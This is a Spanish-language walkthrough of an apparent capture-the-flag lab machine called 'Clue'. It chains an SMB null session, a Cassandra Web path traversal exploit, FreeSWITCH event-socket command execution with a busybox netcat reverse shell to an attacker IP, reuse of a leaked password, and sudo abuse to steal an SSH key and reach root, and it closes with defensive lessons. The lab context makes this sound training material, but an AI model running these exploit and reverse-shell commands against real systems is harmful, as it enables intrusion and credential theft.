Clue
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Clue filtra por SMB (sesión nula) una copia de la configuración de FreeSWITCH y Cassandra. En el 3000 corre Cassandra Web 0.5.0, vulnerable a lectura arbitraria de ficheros por path traversal (RFI/LFI); con ese RFI leemos elevent_socket.conf.xmly obtenemos la contraseña real de FreeSWITCH (StrongClueConEight021), cuyo mod_event_socket permite ejecución de comandos (credenciales en config) y nos da shell comofreeswitch. El mismo RFI sobre/proc/self/cmdlinerevela las credenciales decassie(SecondBiteTheApple330), reutilizables porsu(reutilización). Para escalar,cassiepuede ejecutarcassandra-webcomorootporsudo: lo relanzamos comorooty abusamos de su path traversal para leer la clave SSH privada deanthony(autorizada en elauthorized_keysderoot), con la que entramos comoroot.
Reconocimiento
Escaneo inicial
El TTL de la respuesta es 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
ping -c 1 192.168.142.24064 bytes from 192.168.142.240: icmp_seq=1 ttl=61 time=29.5 msBarremos todos los puertos TCP y, sobre los abiertos, identificamos versiones:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.142.240PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open netbios-ssn
3000/tcp open http
8021/tcp open freeswitch-eventnmap -p22,80,139,445,3000,8021 -sCV 192.168.142.240 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 (403 Forbidden)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3000/tcp open http Thin httpd (Cassandra Web)
8021/tcp open freeswitch-event FreeSWITCH mod_event_socketCuatro frentes: un SMB anónimo, una Cassandra Web en el 3000, FreeSWITCH (centralita VoIP) en el 8021 con su event socket, y un Apache que devuelve 403. La combinación SMB + Cassandra + FreeSWITCH marca el guion de la máquina.
SMB - TCP 445
Con sesión nula se enumeran los recursos compartidos: el backup es legible.
netexec smb 192.168.142.240 -u '' -p '' --shares
smbclient //192.168.142.240/backupShare Permissions Remark
----- ----------- ------
print$ Printer Drivers
backup READ Backup web directory shares
IPC$ IPC Service (Samba 4.9.5-Debian)Dentro hay dos carpetas, freeswitch y cassandra, con binarios y ficheros de configuración. Nos las descargamos enteras para revisarlas luego:
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *Son una copia de la configuración de ambos servicios; serán la pista para las contraseñas.
Cassandra Web - TCP 3000
El 3000 sirve Cassandra Web, un panel para la base de datos Cassandra (aquí 3.11.13):

Cassandra Web
Cluster Status
Hosts
Datacenter: datacenter1
ip id rack version status
127.0.0.1 39c6f1e3-d798-44ce-b216-ce0f664fc0af rack1 3.11.13 up
Keyspaces
system_auth CREATE KEYSPACE system_auth WITH replication = {'class': 'SimpleStrategy', 'replication_factor': '1'} AND durable_writes = true;
system_schema CREATE KEYSPACE system_schema WITH replication = {'class': 'LocalStrategy'} AND durable_writes = true;
system_distributed CREATE KEYSPACE system_distributed WITH replication = {'class': 'SimpleStrategy', 'replication_factor': '3'} AND durable_writes = true;
system CREATE KEYSPACE system WITH replication = {'class': 'LocalStrategy'} AND durable_writes = true;
system_traces CREATE KEYSPACE system_traces WITH replication = {'class': 'SimpleStrategy', 'replication_factor': '2'} AND durable_writes = true;El panel no pide credenciales y ya suelta lo que interesa: la versión 3.11.13 del nodo y los cinco keyspaces del sistema. La versión es el dato que abre el siguiente paso.
searchsploit da con una lectura de ficheros para esta versión:
searchsploit 'cassandra'
searchsploit -m linux/webapps/49362.pyCassandra Web 0.5.0 - Remote File Read | linux/webapps/49362.pyLectura de ficheros (RFI)
Cassandra Web 0.5.0: lectura arbitraria por path traversal
El exploit 49362.py abusa de que Cassandra Web construye la ruta del recurso anteponiendo ../ repetidos (en el código, DT='../' y DT_NUM=8) sin sanear, lo que permite leer cualquier fichero del sistema (path traversal). El DT_NUM=8 no es mágico: el exploit antepone la secuencia ../ ocho veces, que es de sobra para remontar desde el directorio de trabajo de la aplicación hasta la raíz /. Pasarse de niveles no rompe nada, porque en un sistema de ficheros /.. sigue siendo /: ocho es simplemente un número lo bastante alto para garantizar que se llega a la raíz sin conocer la profundidad exacta desde la que corre el servicio.

En el propio código (/var/lib/gems/2.7.0/gems/cassandra-web-0.5.0/app/public) se ve el origen del fallo: DT = '../', DT_NUM = 8 y el payload = urllib.parse.quote_plus(DT * self.number + self.file), que concatena la ruta pedida sin sanear.
python3 rfi.py -p 3000 192.168.142.240 /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
cassie:x:1000:1000::/home/cassie:/bin/bash
anthony:x:1001:1001::/home/anthony:/bin/bashTres cuentas con shell: root, cassie y anthony.
Tenemos lectura arbitraria, pero aún no sabemos qué fichero concreto nos dará el siguiente paso. Probamos con /proc/self/cmdline para ver cómo se está ejecutando el propio servicio:
python3 rfi.py -p 3000 192.168.142.240 /proc/self/cmdline
/usr/bin/ruby2.5/usr/local/bin/cassandra-web-ucassie-pSecondBiteTheApple330La línea de comando (con los bytes nulos como separadores) ya deja a la vista el usuario cassie y su contraseña SecondBiteTheApple330; volveremos a ellas tras el pivote por FreeSWITCH.
Antes de exprimir el RFI, miramos el otro servicio expuesto: FreeSWITCH.
Shell como freeswitch
FreeSWITCH: contraseña real vía RFI y RCE
El mod_event_socket de FreeSWITCH permite ejecutar comandos si se conoce la contraseña del socket. El exploit público trae la contraseña por defecto, ClueCon, pero falla:
searchsploit -m windows/remote/47799.txt # -> rce.py
python3 rce.py 192.168.142.240 'whoami'Authentication failedLa contraseña ha cambiado. Como tenemos los ficheros de FreeSWITCH del SMB (y, mejor aún, lectura arbitraria por RFI), buscamos dónde se define. La copia de SMB resulta estar desactualizada, así que leemos por RFI el fichero vivo del servidor, event_socket.conf.xml, donde está la contraseña real:
python3 rfi.py -p 3000 192.168.142.240 /etc/freeswitch/autoload_configs/event_socket.conf.xml<param name="password" value="StrongClueConEight021"/>Esa es la contraseña del event socket (credenciales en configuración). La ponemos en el exploit y confirmamos ejecución:
# en rce.py: PASSWORD='StrongClueConEight021'
python3 rce.py 192.168.142.240 'whoami'
python3 rce.py 192.168.142.240 'id'
freeswitch
uid=998(freeswitch) gid=998(freeswitch) groups=998(freeswitch)Antes de disparar la shell, dejamos un nc a la escucha:
nc -nlvp 80Ejecutamos como freeswitch. Lanzamos una reverse shell con la netcat de busybox:
python3 rce.py 192.168.142.240 'busybox nc 192.168.45.227 80 -e /bin/bash'
freeswitch@clue:/$ whoami && ip a
freeswitch
...
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 ...
inet 192.168.142.240/24 brd 192.168.142.255 scope global ens192
freeswitch@clue:/$La shell entra como freeswitch en el host clue (192.168.142.240).
Leemos la primera prueba:
cat /var/lib/freeswitch/local.txt && whoami && ip a && hostname
de1dd063238f052a23ddf2610de15bc5Shell como cassie
Reutilización de credenciales (proc/cmdline)
Volvemos al RFI de Cassandra Web sobre /proc/self/cmdline: la línea de comando del proceso revela que cassandra-web se arrancó con usuario y contraseña en claro:
python3 rfi.py -p 3000 192.168.142.240 /proc/self/cmdline
/usr/bin/ruby2.5 /usr/local/bin/cassandra-web -u cassie -p SecondBiteTheApple330La contraseña de cassie (reutilización) sirve para cambiar de usuario desde la shell de freeswitch:
su cassie # SecondBiteTheApple330
freeswitch@clue:/home/cassie$ su cassie
Password:
cassie@clue:~$ whoami
cassieYa somos cassie.
Escalada de privilegios
sudo cassandra-web: path traversal a la clave SSH de root
Revisamos el sudo de cassie:
sudo -lUser cassie may run the following commands on clue:
(ALL) NOPASSWD: /usr/local/bin/cassandra-webPuede ejecutar cassandra-web como root (abuso de sudo). La idea: relanzar el propio panel como root en otro puerto y reutilizar su path traversal, que ahora leerá ficheros con privilegios de root. Lo arrancamos en el 1337 con las credenciales de cassie:
sudo -u root /usr/local/bin/cassandra-web -B 0.0.0.0:1337 -u cassie -p SecondBiteTheApple330 &
curl localhost:1337 | grep cassandraCon esa instancia (que corre como root) abusamos del path traversal para leer ficheros restringidos. Ahora podríamos leer cualquier fichero del disco, así que conviene elegir con criterio en vez de ir a ciegas: el objetivo es una vía de acceso directa a root, y el fichero que más rápido la da es el authorized_keys de root, porque nos dice qué clave pública ya tiene permiso para entrar como root sin adivinar nada. Empezamos por ahí:
curl localhost:1337/../../../../../../../../../root/.ssh/authorized_keys --path-as-is
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDn2IL7JIn0X/FanxBWS8G9racIWKRnRVPuGSG0DG6NFGoq0Esol53X0<SNIP>Ap9uw12pR7jjkWS8+avLLHsh/8NoyhJhI+H anthony@clueLa clave autorizada pertenece a anthony@clue. Si leemos la clave privada de anthony, podremos autenticarnos como root (porque su pública está en el authorized_keys de root). Leemos /home/anthony/.ssh/id_rsa:

Guardamos la clave y entramos por SSH como root:
curl localhost:1337/../../../../../../../../../home/anthony/.ssh/id_rsa --path-as-is > id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@localhost
% Total % Received % Xferd
100 1823 100 1823 0 0 445k 0
cassie@clue:~$ ssh -i id_rsa root@localhost
Linux clue 4.19.0-21-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
...
Last login: Tue Jan 6 12:47:04 2026 from 192.168.45.227
root@clue:~# whoami
rootLa clave privada de anthony autentica como root (su pública estaba en el authorized_keys de root).
Leemos la prueba final:
cat /root/proof_youtriedharder.txt && whoami && ip a && hostname
9f5f2facf3d5339e31f057c79200eefdCadena de ataque
SMB null session (445) -> copia de config de FreeSWITCH/Cassandra
Cassandra Web 0.5.0 (3000) -- path traversal (RFI, 49362.py)
│ leer event_socket.conf.xml -> FreeSWITCH pass StrongClueConEight021
▼
FreeSWITCH mod_event_socket (8021) -- RCE (rce.py)
│ busybox nc -> reverse shell
▼
shell como freeswitch (local.txt)
│ RFI /proc/self/cmdline -> cassie:SecondBiteTheApple330 -> su
▼
shell como cassie
│ sudo -u root cassandra-web -B 0.0.0.0:1337 (path traversal como root)
│ leer /root/.ssh/authorized_keys (anthony@clue) -> /home/anthony/.ssh/id_rsa
│ ssh -i id_rsa root@localhost
▼
shell como root (proof_youtriedharder.txt)Lecciones aprendidas
- Las copias de seguridad expuestas son inteligencia. El SMB anónimo entregaba la configuración de FreeSWITCH y Cassandra. Aunque la copia estaba desfasada (la contraseña real había cambiado), reveló la estructura y los ficheros donde buscar luego con el RFI.
- Un path traversal de lectura encadena toda la caja. El mismo fallo de Cassandra Web sirvió tres veces: leer la contraseña de FreeSWITCH, leer
/proc/self/cmdline(credenciales decassie) y, ya comoroot, leer la clave SSH deanthony. Leer ficheros arbitrarios casi nunca es "solo lectura". - Las credenciales en la línea de comando son visibles para todos. Arrancar
cassandra-webcon-p SecondBiteTheApple330deja la contraseña en/proc/<pid>/cmdline. Conviene pasar secretos por fichero o variable de entorno protegida, nunca por argumento. - Un binario por
sudocon capacidad de leer ficheros comorootes un comodín. Relanzar el panel comorootconvirtió un path traversal sin privilegios en lectura total del disco, suficiente para robar una clave SSH y saltar aroot.